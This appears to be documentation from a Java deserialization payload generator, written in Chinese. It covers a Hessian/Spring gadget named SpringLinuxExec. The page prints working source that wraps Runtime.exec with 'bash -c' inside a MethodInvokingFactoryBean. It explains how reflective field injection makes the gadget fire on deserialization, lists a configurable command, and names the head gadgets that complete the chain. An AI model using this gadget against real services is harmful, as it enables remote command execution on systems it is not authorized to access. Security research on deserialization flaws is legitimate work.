Skip to content

Latest commit

 

History

History
68 lines (57 loc) · 4.61 KB

File metadata and controls

68 lines (57 loc) · 4.61 KB

执行linux命令(SpringLinuxExec)

  • 类别:hessian 别名:— 优先级:—
  • 作者:—
  • 依赖org.springframework:spring-context

作用

Spring 系 Hessian 链的尾部(END)执行体。构造一个 StaticListableBeanFactory,其中注册名为 beanName123MethodInvokingFactoryBean;该 bean 被下游头部 gadget 通过 getBean("beanName123") 拉起时,反射调用 Runtime.getRuntime().exec(new String[]{"bash","-c",cmd}),实现 Linux 命令执行。

链接标签

  • 入口 tagsHessianSpringChainsEND —— 承接以 nextTags=HessianSpringChains 的 Spring 头部 gadget;END 表示链尾、无需再接下游。
  • 衔接 nextTags:无(链尾)。
  • excludes:无。

源码剖析

@Param(name="Linux命令")
public String cmd = "touch /tmp/success";
private final String beanName = "beanName123";

public Object getObject() throws Exception {
    StaticListableBeanFactory beanFactory = new StaticListableBeanFactory();
    beanFactory.addBean("beanName123", this.makeBean());   // 注册名为 beanName123 的恶意 bean
    return beanFactory;
}

public Object makeBean() throws Exception {
    MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
    bean.setSingleton(false);                              // 非单例 => 每次 getBean 都重新 invoke
    bean.setTargetObject((Object)Runtime.getRuntime());    // 目标对象 = Runtime 实例
    Class<Runtime> cls = Runtime.class;
    Method method = cls.getMethod("exec", String[].class);
    Reflections.setFieldValue(bean, "methodObject", method);   // 直接反射注入待调用方法,绕过 setTargetMethod 的解析
    Reflections.setFieldValue(bean, "beanClassLoader", null);
    bean.setArguments(new Object[]{new String[]{"bash", "-c", this.cmd}});  // exec(String[]) 参数
    return bean;
}
  • MethodInvokingFactoryBean 是 Spring 的「调用任意方法并把返回值作为 bean」的工厂;当容器/上游对其调用 getObject()getBean 会触发)时,它执行 prepare()+invokeWithTargetException(),即 targetObject.method(arguments)
  • 这里直接反射写入 methodObjectRuntime.exec(String[]))而非用 setTargetMethod("exec"),是为了跳过 afterPropertiesSet 阶段的方法解析——反序列化路径下不会调用 afterPropertiesSet,故预先把 methodObject 塞好,getObject 一旦被调即可直接反射执行。
  • setSingleton(false) 保证 getBean 时走 getObject() 重新调用而非返回缓存单例。
  • 采用 exec(String[]) + bash -c 'cmd' 模板,避免 exec(String) 的空格分词问题,可执行含管道/重定向的复杂命令(仅限 Linux)。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.BEAN_NAME_KEY, "beanName123");  // 告诉头部 gadget:去 getBean("beanName123")
    return this.getObject();
}

invoke 不调用 chain.doCreate(自己是链尾),只把 BEAN_NAME_KEY=beanName123 写入上下文,供上游 SpringAbstractBeanFactoryPointcutAdvisor / SpringPartiallyComparableAdvisorHolder 读取,从而把 getBean 目标对准本 bean。

参数(@Param)

字段 名称 说明 默认 可选值
cmd Linux命令 通过 bash -c 执行的命令字符串 touch /tmp/success 任意

适用版本与原理要点

  • 仅需 spring-context(含 MethodInvokingFactoryBeanStaticListableBeanFactory)。
  • 执行模板固定为 bash -c 'cmd'只适用于 Linux/类 Unix;Windows 目标应改用 SpringExecwin/linux 通用)。
  • 需与提供 toString → getBean 触发的 Spring 头部 gadget 搭配才能落地。
  • 本类是 SpringLoadJarSpringUpload 的基类,二者仅覆写 makeBean() 更换目标方法。

所属预设链

自由构件,未直接出现在预设链(可与 SpringAbstractBeanFactoryPointcutAdvisor 组成「Spring 命令执行」型链,对照预设链 Spring 命令执行 中的 SpringExec)。

关联